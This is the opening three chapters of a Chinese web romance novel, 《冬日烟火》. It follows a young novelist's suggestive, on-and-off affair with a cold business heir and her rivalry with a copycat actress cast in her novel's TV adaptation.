《冬日烟火》
1. 1
婚宴的最后一道甜品燕窝端上桌时，桑柠又忍不住看了一眼手机。
还是什么信息都没有。
旁边的连歆语瞧着她的样子不对劲，于是便凑近，小声问她：“怎么了，跟霍今然吵架了？”
桑柠将手机放到一边，闷闷的应了一声：“没。”
能吵架就好了。
现在是连他人都见不到。
桌子那边有人起身的动静，很快，这一桌，便只剩下了桑柠跟连歆语两个人。
连歆语倒也不用刻意小声了：“你听我这个好闺蜜一句劝，霍今然跟我们不是一类人，他甚至都不是人，是没有心的冷血动物，你拿捏不住他的，到头来受伤害的还是你。”
话糙理不糙。
京城有谁不知，霍家的新一代掌权人霍今然薄情冷血，眼里只有他的事业，凉薄到任何情意都不讲。
这种人，怎么可能会跟你认认真真的谈一场感情。
桑柠微咬了下唇：“我才没那个闲工夫去拿捏他呢，我不过是想在他身上找一些小说的灵感而已。”
听她的语气有些急，像是戳中了痛点，要生气的样子。
连歆语也懒得跟她再掰扯，就随口丢过去一句：“要不是你在我生日会上勾的男人，我才懒得管你呢。”
“……”
嗯。
没法反驳。
确实是在这位好闺蜜的生日会上，她将霍今然勾回了家。
桑柠端起那盅燕窝，她用白瓷勺轻轻搅拌着，没再说话。
连歆语也转而换了个话题：“等下婚宴结束后，陪我去游泳吧。”
“改天吧，一会儿我得回去，把新的一章写完才行，不然又得熬夜写了。”桑柠舀了一勺燕窝。
连歆语也跟着吃起了桌上的燕窝：“行吧，那就改天吧。”
耳边突然传来一阵高跟鞋声，听着像是朝她们这桌走来，桑柠跟连歆语几乎不约而同的一起抬头望了过去。
不远处，曾经的塑料好姐妹江念惜一袭白裙，正朝着她们这边徐徐走来。
见着江念惜，连歆语几乎是从牙缝里挤出一句话：“你的copy怪来了。”
“行了，别说了，我嫌晦气。”桑柠没好气的丢过去一句。
也不知江念惜这小丫头什么毛病，以前在一起玩的时候，就老是模仿桑柠的穿衣打扮。
更过分的是，江念惜偶尔还会提前将一样的衣服穿出来，故意让人误会，像是桑柠在模仿她似的。
心眼不是一般的多。
以前跟江念惜穿着一模一样的衣服，被人夸赞像双胞胎一样漂亮时，桑柠总觉得像是在当面骂她。
你跟你的copy怪一样，又作，又难看。
江念惜径直停到了她们面前，身后助理帮忙拉开椅子，她跟着落座：“两位姐姐，好久不见呀。”
连歆语扯出一个毫无感情的笑容，应付道：“是好久了，不过你进了娱乐圈忙着拍戏，确实也顾不上跟以前的好友叙旧了。”
“说的哪里话，我其实早就想约两位姐姐了，可是我现在出门好麻烦的，好多狗仔私生跟着，很不方便的。”江念惜讲话一口的台湾腔。
做作的要死。
连歆语在心里嫌弃的翻了个大大的白眼。
见桑柠不说话，江念惜就主动跟她搭腔道：“柠柠姐，我听说你小说改编的电视剧，已经开始选角色了，看来是要马上开拍了，恭喜你呀。”
“你消息还挺灵通的。”桑柠没什么语调的敷衍了一句。
“我昨天在饭局上，听一个导演讲的。”
说着话，江念惜朝后伸了下手，旁边的助理立马将手机递了过去。
江念惜接过，她点开相册，翻出一张照片，亮了出来，又故意炫耀道：“不知道姐姐们认不认识这位京城的大佬，霍今然，昨天他也在饭局上，刚好被我碰到了，我好幸运诶。”
桑柠瞅了一眼照片。
看着像是偷拍，只拍到了霍今然的侧脸，他低垂着眼，站在吧台前，手里握着一杯威士忌，似是正倾身听旁边的红裙女人说话。
对面的红裙女人单手覆在他的手腕上，隔着一层衬衫，动作依然很暧昧。
桑柠心里一阵郁气难消。
半个月没见他，也没任何消息，还是从别人那里得知了他的行踪，还看到了这样一幕。
桑柠越想，心里越不是个滋味。
连歆语偏头瞅了桑柠一眼，看好闺蜜一副失魂的样子，她不禁抿了抿嘴：得，彻底被男狐狸精迷上了。
“不好意思，我们还有事，得先走了，改天再聊。”连歆语拎起包包，敷衍了江念惜一句。
说完，连歆语不由分说的一把抓住桑柠的手腕，将她拉扯了起来。
桑柠回神，抓起一旁的包包，跟着连歆语离开了座位。
一路走出宴会厅，连歆语将桑柠扯进了一部电梯里。
六月的京城，盛夏正浓，午后的日光白花花的晒得人眼花。
电梯里很空，桑柠走到一边，倚着栏杆，她掀眸，望了一眼对面正瞪着她的连歆语：“你想说什么？”
连歆语抱起了双臂：“我还能说什么，就一张社交应酬的照片，你看你刚才吃醋的样子，我现在说什么你都不会听，我才不费那个劲呢。”
桑柠低垂下眼睫，偏头，望向了电梯的窗外。
连歆语微抿了下嘴，没再说话，只是看了一眼那边的桑柠。
她皮肤很白，几近透明，染上那么一点红晕，就像个水蜜桃一样多汁诱人，脸上的婴儿肥还未彻底褪去，不说话嘟着嘴时，侧脸圆润，睫毛长长的，可可爱爱的，很像一种猫。
连歆语突然开口问桑柠：“诶，就那种猫叫什么来着，外号英国佬。”
桑柠转过头，她还斜斜的倚着栏杆：“人那叫英国短毛猫。”
什么英国佬。
真难听。
“嗯，对，你长得可像那种猫了。”
“……”
“可爱的要命，可脾气又倔的要死，让人又爱又恨。”
“你脾气也没比我好哪里去。”桑柠犟嘴道。
她顺带打量了下对面的连歆语，微卷的波浪长发，高挑清秀，脾气却跟长相反着长，泼辣，又耿直。
电梯还在缓缓的下行。
许是觉得无聊，连歆语又闲聊起了别的：“下次见着那个江念惜，我得跟她说清楚，别老是叫咱们姐姐，跟她同年，都是二十二岁，她也就比我们小几个月，还姐姐姐姐的叫个不停，不害臊啊。”
“她今年二十。”桑柠冷不丁冒出来一句。
“什么意思，她改年龄了？”
“嗯，改小了两岁，你不知道啊。”
连歆语没所谓道：“我又不粉她，我干嘛要那么关注她。”
“我也是收集一些娱乐圈小说素材时，无意中看到的，还看到网友对她的评价，说她是黑料里长了个女明星。”
连歆语觉得好笑，就顺着桑柠的话道：“她要是不炒作博出位，以她的资质和实力，怎么可能混到现在当红流量小花的位置。”
桑柠轻嗤了一声：“所以以后可别在我面前，提她以前模仿我的事了，本来就已经够烦的了，她现在风评还这么差，我可不想跟她沾边。”
电梯刚好下到地下一层，桑柠抬脚走了出去。
连歆语在她身后连连应声：“行，不提了。”<
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取了车，跟连歆语分别后，桑柠就直接开车，驶向她住的地方。
位于万福路上的伊甸园公寓。
回到家，桑柠换了套睡衣，就打开电脑，开始工作。
午后的日光透过落地窗，将白色的薄纱窗帘，晒成了几近透明色。
屋里开着空调，待得久了，皮肤有些干燥。
桑柠起身，走过去，打开了墙角的加湿器，混着水珠的白气冒出，很快就消散在了空气里。
去厨房倒了杯水，喝完，桑柠又回到写字桌前，继续写剩下的部分。
时间转眼而过。
将近傍晚五点时，桑柠终于完成了新章节，她将那一章贴到网页上，还顺带在作话里补了句：下章就要接吻啦！
弄好这些，桑柠也没关网页，想休息一会儿，等下再重新检查一下新章节。
从冰箱里拿出一盒冰激凌，桑柠就抱着冰激凌窝到了就近的沙发上。
揭开冰激凌的盖子，桑柠用勺子舀了一口，她含着那口冰激凌，从茶几上拿过手机。
点开微信，桑柠瞅了一眼置顶的聊天记录，霍今然那里，依然没任何消息。
跟他的聊天记录也还停留在半个月前。
这么久。
他都不知道哄哄她。
桑柠没好气的将手机丢到沙发上，决定继续跟霍今然冷战。
冰激凌有些化掉了，桑柠刚拿起勺子，吃了一口，嘴里的冰激凌还没完全化掉，就听见外面突然响起了敲门声。
桑柠将冰激凌放到桌上，她光脚走了过去，透过猫眼，朝外面望了一眼。
这么一眼，她就看到了那个又气，却也很想念的熟悉的身影。
走廊的暗光里，霍今然侧倚着白墙，神色散漫，他低着眉眼，将一根烟咬在了嘴边。
在那根烟还未点燃之际，桑柠握住门把手，轻轻一压，打开了门。
屋内晃眼的日光从她身旁越过，几近铺满了小半个楼道。
微晃眼的薄光里，霍今然还站在那里，他一条腿微弯着，身上的白衬衫没有一丝褶子，袖子已挽至臂弯，露出的一小节手臂，能看到清晰蜿蜒的青色血管，透着男人雄性的荷尔蒙。
性张力十足。
他嘴边还咬着那支未点燃的烟，整个人都慵懒不羁，在桑柠开门的那一瞬间，他微掀眸，有光落在他的眉眼里，勾着一股邪气。
视线落在桑柠的身上，看她穿着清凉，丝绸的吊带背心，与短裤，露着一双白皙笔直的双腿。
男人那双天生凉薄的桃花眼，浸染起一层玩味。
桑柠咬着唇，睨了他一眼，没搭理他，转身就要朝屋里走去。
像是还在跟他赌气。
霍今然眼尾轻碾过一丝淡笑，他喉结微滚动了下，从嘴边拿下那支烟，他跟着走进去，伸手，从后面揽住了桑柠的腰身。
门在两个人的后面，“咔嚓”一声合上了。
桑柠猝不及防的跌入了霍今然的怀里，他身上干冽的烟草味，混着冷清的木质的淡香味，一并袭来。
桑柠有些招架不住。
她软软的困在了他怀里。
霍今然的吻落下，绵绵密密的落在她清瘦的肩膀上，像是被糖丝缠绕。
桑柠只觉有些痒，从肩膀那里传来的麻酥酥的痒感，仿佛传遍了整个身体。
她挣扎了下，想逃走，不想后面的男人将她箍的更紧了些。
他吻过她白皙的脖颈，轻咬了下她的耳垂，在那些黏腻的吻落下的同时，他的声音也跟着响起。
就在她的耳边，低低哑哑的。
仿佛轻磨的玉石，凉如丝，却满是欲的味道：“还在气我，嗯？”
2. 2
几乎是在霍今然这句话落下的同时，桑柠就已经不气他了。
她也根本就招架不住他的那些吻。
前些日子因为他的冷落，她心里积攒的酸涩，郁气，也像是被浓稠的蜂蜜包裹，逐渐溶解。
她心里只剩下浓的化不开的甜。
霍今然停下，他伸手，长指钳住桑柠的下巴，迫使她转过脸，面对着他：“说话，还气不气了？”
桑柠的眼中蒙着一层浅淡的雾气，声音娇软：“不气了。”
霍今然勾了下唇，他探身，欲要吻上她的唇，口袋里的手机突然响起来电铃声，他那个吻只好落在了她的额头上：“等我。”
说完，他没有任何留恋的松开她，从口袋里掏出手机，踱步到了一边。
接通后，他用流利的德语讲着电话，桑柠也听不懂。
她走过去，重新窝进沙发里，拿起了桌上的冰激凌。
刚刚的吻戛然而止，像断掉的弦，余音还在。
桑柠也还有些意犹未尽，冰激凌送到嘴里，她都有些食之无味。
她咬着勺子，抬眸，望向了那边还在讲电话的霍今然。
他背对着她，单手握着手机，另一只手撑在腰间，男人宽肩窄腰，一双长腿被西裤包裹，莫名透着股禁欲。
却又十分的性感。
视线落到他的手臂上，看到刚才桑柠因为他的吻，而抠在他手臂上留下的指甲印。
桑柠的心里涌起一丝丝的悸动。
她想跟他接吻。
想的快要发疯了。
桑柠咬着冰激凌的勺子，嘴里应该是甜的，她却口渴难耐。
几分钟后，霍今然挂断了电话。
他转身，将手机放回口袋里，余光瞥见那边写字桌上还没关的电脑：“刚才在工作？”
桑柠戳着冰激凌：“已经写完了。”
霍今然微偏头示意了下：“能看么？”
桑柠望着他，看他对她的小说，比跟她接吻还要感兴趣，她闷声丢过去一句：“随便，你想看就看吧。”
霍今然走过去，他双手撑在写字桌上，视线落到新章节的作话上，他低笑了声：“下一章，要接吻？”
桑柠含着一口冰激凌，含糊道：“嗯。”
应完，她抬眸，望向了那边的霍今然。
我们多久没接吻了。
在一起三个多月，才亲过一次，这合理么。
合理么？！
霍今然拉过桌前的转椅，坐下来后，他却也没看小说，而是面对着桑柠，看到她正望着他，眼神有些怨念，还有些渴望。
他故意勾唇笑了下。
桑柠瞪了他一眼，没理他。
霍今然拍了拍他的腿，示意她：“过来。”
他的音色发哑，干涩，像海妖的歌声蛊惑，桑柠根本就无法抗拒。
她放下冰激凌，走过去，坐到了霍今然的腿上。
“冰激凌，什么味道的？”霍今然揽住她腰身，将她贴近他。
那一下，桑柠扑到了他结实的怀里，她双手撑在他肩膀上：“香草奶油的。”
“嗯。”他低吟了一声，有些粗粝的指腹，轻抚过她后背的腰线。
桑柠不禁咬唇，坐直了身子，她黑漆漆的眼眸缠上欲，一瞬不瞬的盯着他：“你想吃么？”
霍今然清凉的眉眼里裹着笑意，手上不自知揉搓的重了些，桑柠哼唧了一声。
他眼底的笑裹着坏：“你喂我吃。”
桑柠咬了下唇，如花瓣的双唇柔软红润：“怎么喂？”
霍今然眼眸中的坏意渐浓：“用嘴喂我。”
桑柠微探身，在他薄唇上厮磨了一阵：“甜么？”
霍今然没说话，也不回吻她，像是在吊着她。
沉默须臾，他望着桑柠那双已经染了欲的纯澈的眸子，开口反问她：“下次还敢不敢，这么久不理我？”
说着话，他还故意使坏，用力掐了下她的腰窝。
桑柠不自觉扭动了下身子，说不出话来。
“还敢不敢，嗯？”
“是你忙着……”
唔。
后面的话，淹没在了霍今然强势的吻中，他伏在她胸口，温热的吻落下。
隔着一层薄薄的丝绸，啃咬，玩弄。
桑柠摊在那里，动弹不得，身体里的力气也像是被抽空了似的，使不上劲。
也还来不及说话，也还没怨他前些日子的冷落，他的吻就已堵上她的嘴，拖着她下坠，让她认错。
他做主导，掌控她。
将她刚才脑子里的欲望，勾出，他用舌尖搅动，碾噬，那些颤栗，仿佛能触动她每一条神经末梢。
在快要下坠到底时，霍今然的手机不断传来微信新消息的提示音，桑柠终于从他强势的吻中，得以喘息。
可她也并不想停下来，还抱着他，主动吻他。
新信息的铃声又响了几声，像催命符似的。
霍今然到底还是停了下来，他抵着桑柠的额头，拍了拍她的臀：“先去洗澡。”
“做完再洗。”她不想再听他的话。
霍今然掐着桑柠的腰，强制性的从他身上剥离，他刚才的吻也像是灭掉的火焰，没了炽热：“听话，快去。”
桑柠将滑落的细肩带，撩上来，赌气的不理他，却还是从他身上下来。
她闷声朝着洗手间走了过去。
身后是霍今然长指点在手机屏幕上的声音，机械，又冰冷。
桑柠走进洗手间，脱衣，站到了花洒下，温热的水淋了下来，透过镜子，她看到白皙的胸口那里，被霍今然啃噬的一大片红印。
冲掉身上的白色沐浴露泡沫，桑柠关掉花洒的水，她拿过毛巾，擦干身子，就直接半包裹着，走出了洗手间。
外面很安静。
也没见到霍今然的身影。
他走了，没打一声招呼，只在桌上留下一张便签。
桑柠走过去，拿起那张便签，看了一眼：先欠着，下次都补偿给你。
指间嵌入便签的纸里，压出印痕。
眼底也有雾气丛生，只觉委屈。
这算什么。
想来就来，想走就走。
把她这里当什么了。
桑柠将那张便签纸揉进掌心里，攥成团，丢进了旁边的垃圾桶里。
她走过去，捞起沙发上的手机，解锁，点开微信里跟霍今然的聊天对话框，她噼里啪啦的打出一行字：霍今然，你混蛋！
打完，她就直接发送了出去。
桑柠咬着唇，指尖几乎不受控的微颤着，赌气般的又打出一行字：你那么在意你的工作，那就不要谈恋爱了，你以后也不要再来找我了，我们分手！
几乎是在这句话打完的同时，桑柠就收到了霍今然的回复。
霍今然：嗯，我混蛋。
霍今然：你不照样喜欢。
桑柠双手紧握着手机，她轻叹了口气，指尖轻触屏幕，连续不断地轻点删除键。
又将刚才的那句话，全部都删除了。
桑柠将手机重重地摔到了沙发上。
偏头望向茶几上刚才还没吃完的冰激凌，白色的杯桶里，冰激凌早已化掉，软塌塌的一片。
像她此刻的心情。
黏腻，又有些烦躁。
那天晚上，桑柠只好自己动手解决了被搁浅的欲望，在放空的思绪里，她满脑子都是霍今然的身影。
他冷淡的眉眼，他的薄唇，还有他骨节分明的长指，他在她胸前放肆碾过的热吻。
她发疯的想念他的一切。
像犯了毒瘾似的，戒不掉。
跟霍今然又赌气了两天，桑柠才消气。
那天傍晚跟连歆语去常去的那家金缦丽酒店游泳时，桑柠还开心的拍下一张照片，分享到了她的微博小号。
之前跟霍今然刚确定关系时，桑柠就申请了两个微博账号，弄成了情侣号。
两个账号仅仅都只关注了彼此。
桑柠在那个账号里，开始碎碎念的分享一些日常，拍到的夕阳，吃到的烤串，无论多小的事，她都会分享上去。
从来都不玩微博的霍今然，任她折腾，不仅让她在他的手机里下载了微博，他也会给她的每一条微博都点赞。
金缦丽酒店顶层某间总统套房。
霍今然坐在落地窗前的沙发上，神色温凉，周身的气压低，令整个房间都弥漫着窒息的气氛。
刚才有位服务生，禁不住多看了他一眼，不小心将茶水打翻，染湿了他身上的白衬衫。
“对，对不起，我……”服务生低着头，带着哭腔结结巴巴道。
旁边的助理单羽连忙抽出纸巾，帮霍今然擦了下袖子：“霍少，我去给您拿件新的衬衫吧。”
霍今然低嗯了一声，他眼皮微抬了一下，眼风扫过一旁脸憋的通红的服务生，薄唇微启，凉薄的语气里生了厌：“出去。”
跟着过来的总秘书唐志诚忙摆了摆手，示意服务员赶快出去。
单羽重新拿过一件衬衫，递给了霍今然。
霍今然换上，却没打领带，他挽起白衬衫的袖子：“那边还没消息？”
唐志诚回道：“说是因天气原因，飞机晚点，不过他们已经登机了，估计得晚上八点才能过来，跟我们签合同。”
霍今然没应话，看到桌上的手机屏幕亮起，他拿起，看了一眼。
是微博提示他关注的人有了新的动态。
他解锁，进入微博，看到了桑柠发的最新微博。
——今天在这里放松一下，夏天最适合游泳啦~
——等下运动完，再吃一整块的巧克力布朗尼蛋糕，今天我就是最幸福的小孩~
配图是金缦丽酒店顶楼的游泳池。
她看起来心情很不错的样子，应该是不气他了。
霍今然轻点屏幕，给桑柠最新的微博点了个赞。
旁边还在汇报工作的唐志诚，瞧着霍今然头一次分了心，也不知道他在看什么，唇角分明看到了浅浅的笑意。
有些古怪。
但唐志诚也不敢多问。
霍今然将手机放入口袋里：“我出去一下。”
保镖高虎要跟着过去时，霍今然凉凉的丢过去一句：“不用跟着。”
高虎即刻停了脚步。
走出总统套房，乘坐电梯，直达酒店顶楼的游泳池。
傍晚落地窗外，晚霞弥漫，层层叠叠的铺了半边天。
霍今然走到一处空地，停下，斜斜的倚着墙，他从口袋里掏出烟盒，抬捷，轻看了一眼那边趴在泳池边的桑柠。
她正在跟连歆语聊天。
游泳池里人不多，很空旷，两个人的对话很清晰的就都飘进了霍今然的耳朵里。
“你对着手机偷笑什么呢？”
“没事啊。”桑柠语气轻快，她指尖轻触手机侧键，黑了手机屏幕。
也黑掉了微博的网页，还有霍今然刚才给她的微博点的赞。
“要我说，你还惦记着霍今然干嘛，那天找你，竟然什么都不做就离开，这你都能忍？”连歆语依旧坚定的劝分党。
桑柠没在意的趴在泳池边，用指尖抹掉了饮料玻璃杯外的水珠。
“我都替你憋屈，本来恋爱头三个月是最腻歪的时候，你看他什么都不能满足你，这种中看不中用的男人，还不分，真要留到过年啊？”
见桑柠一直不吭声，连歆语又冷不丁的问了一句：“霍今然今年多大了？”
“二十七，比我们大五岁。”桑柠咬着吸管含糊的回了
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一句。
连歆语抿了一口饮料，将玻璃杯又放到一边：“行，马上三十了，他那方面欲望会越来越低，以后出家当和尚我都不奇怪。”
“说什么呢，我才不要他出家当和尚呢。”
“嗯，和尚确实不行，以他的野心，怎么着都要爬到住持的位置上。”
“……”桑柠怨了一句，“不许你这么说他，他要是当和尚了，那我以后怎么办？”
连歆语忍不住伸手怼了一下桑柠的脑袋：“你疯了，怎么着，你还想跟他过一辈子啊，有那么喜欢他？”
“嗯。”桑柠趴在泳池边，双脚愉快的拍打着泳池里的水，“喜欢。”
站在阴影里的霍今然，低着睫，他轻咬着嘴边的烟，从口袋里摸出了打火机。
烟还未点燃，少女轻快的声音先于飘了过来，像是清晨落在成熟果实的露水，清新，又干净。
在空空旷旷的游泳池里，她的声音夹着打从心底的喜悦：“桑柠喜欢霍今然！”
银质的打火机冒出火焰，点燃了那根烟，霍今然抽了一口，青烟冒出，烟气弥漫了他冷淡的眉眼。
透过青烟，霍今然的视线笼在了那边桑柠的身上，她穿着红色的比基尼，白皙的皮肤几乎裸了大片。
后背只有一条细细的带子，尤为的性感。
仿佛一朵在水中绽放的红莲花，勾人心魄。
看到有其他男人路过，频频望向穿着比基尼的桑柠时，霍今然又禁不住抽了一口烟，他轻吐着烟气，微冷的眸子里似是暗了几度。
“你呀，就是被那个男狐狸精给迷住了，我看你什么时候能清醒。”泳池边，连歆语依旧恨铁不成钢。
桑柠没说话，只是没所谓的咬着吸管喝起了饮料。
见状，连歆语也懒得再费口舌，她转身，装备再游一圈。
只是刚离开泳池边，转头的一瞬间，连歆语就看到了那边的霍今然。
“……”
落地窗外透着隐隐的光亮，暗光里，霍今然微掀眼眸，他指间还懒散的夹着半支烟，唇线抿直，好看的眉眼亦是仿佛浸染着层薄冰，寒凉又冷淡，毫无情绪。
像暗夜里的某种兽类，带着强大的掌控感，只一眼，就会令旁人禁不住生出胆怯来。
连歆语不禁屏了一下呼吸，想到刚才聊的话题，几乎句句都冒犯了霍今然，她闷头，在水里又原地转过了身：“我先回房间冲澡了，不等你了。”
正在那里喝饮料的桑柠，吐出吸管，望着连歆语离开的背影，不禁有些纳闷：这人，让她陪着来游泳，现在又搁这儿不管她了。
桑柠将玻璃杯放到一边，她沉进水里，一个转身，朝前游去，游到一半，她又像一尾鱼似的，钻出了水面。
不远处，霍今然依然面色沉凉的站在那里。
直到少女轻快的声音，唤他：“霍今然！”
那双寻常清冷的眉眼里，终是染上了少许的笑意。
清澈的泳池里，桑柠笑颜如花，有干净的水珠子从她白净的脸上划过，像只淋湿的小奶猫。
她游过去，上了岸，随手拿过躺椅上的浴巾，披到了身上。
几乎是小跑着过去，扑进了霍今然的怀里，浴巾随之从她身上划落，掉到了地上。
霍今然也不怕她蹭湿他的衣服，他将烟咬在嘴边，在她扑到怀里时，他双手抱起了她。
桑柠双腿夹着他的腰，像个美女蛇似的缠在了他身上：“你怎么在这里？”
“谈事。”霍今然轻碾出两个字。
桑柠抬手，纤细的两指夹住了他嘴边的烟：“我还以为，你是专门来看我的。”
“失望了？”
“没有啊，见到你就开心了。”似是早就忘记了之前的赌气，桑柠的语气明快道。
霍今然哑着嗓音道：“刚才说我什么，中看不中用？”
桑柠轻轻的抽了一口烟，火光明明灭灭，她故意撩拨他：“我又没用过，怎么知道你中不中用。”
说完，她轻吐出烟气，徐徐掠过他面庞。
“小妖精。”霍今然任她胡闹，眼中分明缠着宠溺的笑意。
那边，唐志诚跟单羽找到霍今然时，刚好看到桑柠将烟气吹到他脸上的画面。
唐志诚一口气差点没提上来：这人怎么敢这么冒犯霍总的？
“诚哥，霍少在跟桑小姐在一起，我们还是先别去打扰了。”
唐志诚转头望向单羽：“桑小姐？”
“嗯，霍少女朋友。”
唐志诚扶了下眼镜，一脸震惊：“怎么没听霍总提起过？”
“刚在一起，不太好声张。”短发的单羽一脸诚实道。
唐志诚又偏头望了一眼，瞧着霍今然跟那位桑小姐还交缠在一起，确实不好上前打扰。
反正也没什么大事，于是就冲单羽摆了摆手：“走吧，跟餐厅说一声，晚点再送晚餐。”
唐志诚说完，就跟单羽一起离开了。
幽暗的泳池落地窗前，霍今然还抱着桑柠，他轻轻在她唇上落下一个吻：“答应我一件事。”
“什么呀？”
“以后不许穿比基尼。”
“不要。”桑柠指间还夹着烟，清澈的眼眸纯真无比，却又妩媚的不像话，她娇嗔道，“我干嘛要听你的话，你又什么都不能满足我。”
“欠收拾。”霍今然从齿间低声碾出一句话。
语调里夹着些危险的气息。
桑柠才不怕他，她又抽了一口烟，而后她扑过去，将那口烟渡进了他嘴里。
似是要惩罚她，霍今然故意使坏，假装要松开她，这一下，令桑宁本能地抱紧了他的肩膀。
几乎是在抱住他的同时，她听到男人冷冽的嗓音，混着青烟，附到了她耳边：“上次欠你的，这次都补偿给你。”
3. 3
桑柠醒来时，只觉浑身有些酸疼，没开灯的房间里，昏暗一片。
她下意识的伸手摸向旁边，床位是空的。
霍今然已经离开了。
桑柠趴在那里，心里有些恍然若失，缓了一小会儿，她从床上坐起，伸手，扭开了床头柜的台灯。
光亮突然落下来，有些刺眼，桑柠不禁微眯了下眼，再睁开时，看到床头柜上，摆着一杯清水，和一盒药。
她拿起看了一眼，原来是止痛药。
先前她落在泳池边的手机，也已经被人捡回，此刻也被放在了床头的柜子上。
视线不经意的掠过床边，透过昏黄的光亮，桑柠这才看到摆在那里的酒店餐厅的餐车。
桑柠微探身，伸手掀开餐盘盖，瞧了一眼，原来是她想吃的巧克力布朗尼蛋糕。
她将餐盘盖放到一边，端起镶着金边的白瓷碟，用银叉子，尝了一口蛋糕，很甜。
蛋糕软软糯糯的，混着浓郁的巧克力味，很好吃。
刚才心里的那些恍然若失，被一点点的填满，吃完一整块蛋糕，桑柠拿起手机，本来想给霍今然发条信息的。
转念想到他可能还在忙，于是她就直接发了条微博。
——蛋糕很好吃，很甜~（好想你，忙完记得来看我。）
——[猪头.jpg][猪头.jpg]
刚发完那条微博，从手机的屏幕上方冒出好几条微信新消息。
桑柠退出微博，切换到了微信。
连歆语：跟霍今然怎么样了？
连歆语：Do了没？
连歆语：那男狐狸精长得好看，到底中用么？
桑柠咬着唇，想到刚才跟霍今然做了两次，要不是她喊疼，估计他还想再来一次。
她指尖轻点屏幕：中看，也很中用。
跟连歆语聊完，桑柠退出微信，又查看了下微博的动态。
霍今然那边没动静，可能还在忙，还没给她最新的微博点赞。
反正已经用小号登陆了，桑柠就在搜索页，搜她的笔名桃夭，看了下网页的实时动态。
刚一刷新，就看到一水的营销号发布的几乎一模一样的内容：新瓜，桃夭的最热IP小说《一见成欢》，电视剧女主已定，江念惜。
桑柠没在意的扯了下唇角，也不过前些日子刚见，就逮着她营销了，这人贱不贱呐。
就江念惜那个模样，一副小人得志的局促感，跟她小说里美艳气质女主天差地别，这瓜谁信呀。
谁信谁没脑子。
刚要退出微博，连歆语的两条语音就接连冒了出来。
桑柠指尖轻点屏幕，她又切回微信，点开两条语音听了一下。
——“你到底上辈子怎么着那个江念惜了，沾上这么个copy怪甩都甩不掉，现在又要演你的女主了，你惨了，被她这么捆绑，你以后都别想有安生日子了。”
——“桑柠，我可怜的大宝贝，你要是受不了，想发疯，姐妹随时陪你疯！”
“……”
桑柠平静的捧着手机，指尖轻敲出了几个字：这你都信？
连歆语：所以是假的？
桑柠：我问你啊，就上次在婚宴上，看到江念惜穿着一身白裙走过来时，你知道她像什么么？
连歆语：像什么？
桑柠：行走的白萝卜墩。
桑柠：我家女主高挑美艳，她哪一点能配得上，选角的又不瞎。
跟连歆语吐糟完，桑柠完全没把这事放心上，娱乐圈最不缺的就是漂亮的女明星，怎么选都轮不到那个资质普通全凭营销火的江念惜。
但这样被江念惜拉着营销，也是够烦的。
还以为营销一阵子过后，就能甩掉江念惜这个copy怪了，只是万万没想到，半个月后，这事竟然成了真。
时间已至六月底，盛夏正浓。
桑柠这半个月几乎都窝在家里写小说，霍今然依然忙的见不到人。
只是偶尔才会在微信上跟她聊两句。
六月底的最后一个周末，桑柠跟着连歆语一同前往金缦丽酒店，参加《HerFashion》时装杂志举办的一场晚宴。
连歆语作为《HerFashion》的设计总监，正在策划一期HerStyle的专栏。
她想邀请桑柠参加。
“你上次拍完我们的杂志，我们主编一直惦记着你呢，这次专栏的人选你可是排首位的。”
桑柠没太大兴趣：“上次只是专访，这次要拍很多照片，想想都觉得麻烦。”
“麻烦什么。”连歆语诱惑道，“有很多漂亮衣服，首饰，顶级化妆师和摄影师，还有一套重磅级的妆造我可以专门留给你。”
“什么啊？”桑柠来了兴致。
“镶满钻石的比基尼，我一看到就觉得适合你，比基尼的火辣，加上珠宝的高贵，非你莫属。”
桑柠端起高脚杯，抿了一口红酒，想起上次跟霍今然那晚，他最后从后面压着她，咬着她的肩膀，一下一下的逼迫她：“比基尼，不许再穿。”
她不答应，他便欺负的越狠，直到最后，她实在受不了，连连应了下来。
“不要了。”桑柠将红酒杯放到了桌上。
连歆语追问道：“干嘛，你不是很喜欢比基尼么，家里几十套呢，怎么突然不喜欢了？”
话落，似是想到了什么，连歆语了然道：“我知道了，是霍今然不想让你穿，对不对？”
桑柠咬唇，微点头：“他不喜欢。”
“所以你就不穿了，你就这么纵容霍今然管着你？”
“他是不想让别的男人看到，我穿比基尼的样子。”
“嗯，那他怎么不买个花瓶，把你养家里呢？”
桑柠没再搭话。
连歆语转而又问道：“所以他现在人呢，怎么这半个月都没听你提起他。”
“国外出差了，应该还没回来。”
连歆语禁不住连连摇头：“一般男人开了荤，就跟公狗一样到处发情，他竟然能这么忍，可别真是个妖精。”
“这么禁欲的男人，不是更性感么。”桑柠护了一句。
连歆语偏头，一副你算是被霍今然完全拿捏了你没救了的无语表情睨了她一眼，懒得再说什么了。
这边的话题刚落下，那边就有个认识的模特唤了桑柠一声：“桑柠，你上热搜了。”
桑柠没在意：“应该是剧方那边的宣传，毕竟就要开怕了。”
电视剧预热，拉她这个作者出来上热搜，再正常不过了。
“哦，难怪，这个热搜就是公布女主角的，江念惜。”
“什么？”桑柠微微睁大了眼睛。
旁边的连歆语紧忙从包里拿出手机，解锁，点开了微博：“完了，这次应该不是假的吧。”
桑柠从连歆语手里夺过手机，看了一眼。
果然微博两条热搜。
——#桃夭一见成欢#<
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p>——#一见成欢女主江念惜#
“诶，桑柠，这应该是你第一次小说改编电视剧吧？”有人搭话。
桑柠将手机还给了连歆语，她抬眼：“嗯，第一次。”
那边有人闲聊了起来。
“说起这个江念惜，她到底怎么火的呀，也不漂亮，演技也不好。”
“资本硬捧的，就算一坨狗屎，也要硬杵到你面前。”
“听说家里挺有钱的，出道就当上了女主，天天上热搜，是头猪都能火了。”
……
桑柠包里的手机传来新消息的铃声，她拿出看了一眼，是江念惜给她发过来的短信。
——柠柠姐，希望我们合作愉快，我一定会努力演好你笔下的角色，有空过来探班呀，我们可以聊一下剧本，或者随便聊聊天呀。
读完短信，桑柠的指尖下意识触到删除键，想也没想的就直接删掉了江念惜的短信。
她将手机又丢进了包包里。
烦。
像狗皮膏药一样甩不掉。
从以前到现在，江念惜惹她的何止是跟她穿一模一样的衣服，亦或现在毁了她的女主。
这copy怪毁掉的是从前她一整天的好心情，明明那天她穿了一件很喜欢的新衣服，是现在毁了她值得纪念的第一次小说改编的电视剧，明明充满了那么多期待。
桑柠站起了身，欲要离开时，连歆语抓住了她的手腕：“今晚你要是心烦，想喝醉，姐妹陪你。”
“不要了，我想回家洗澡。”
“这么早？”
桑柠低垂着眉眼，有暗光落在她精致的眉眼里，却也能看到些微嫌弃的意味：“沾上狗屎了。”
“……”
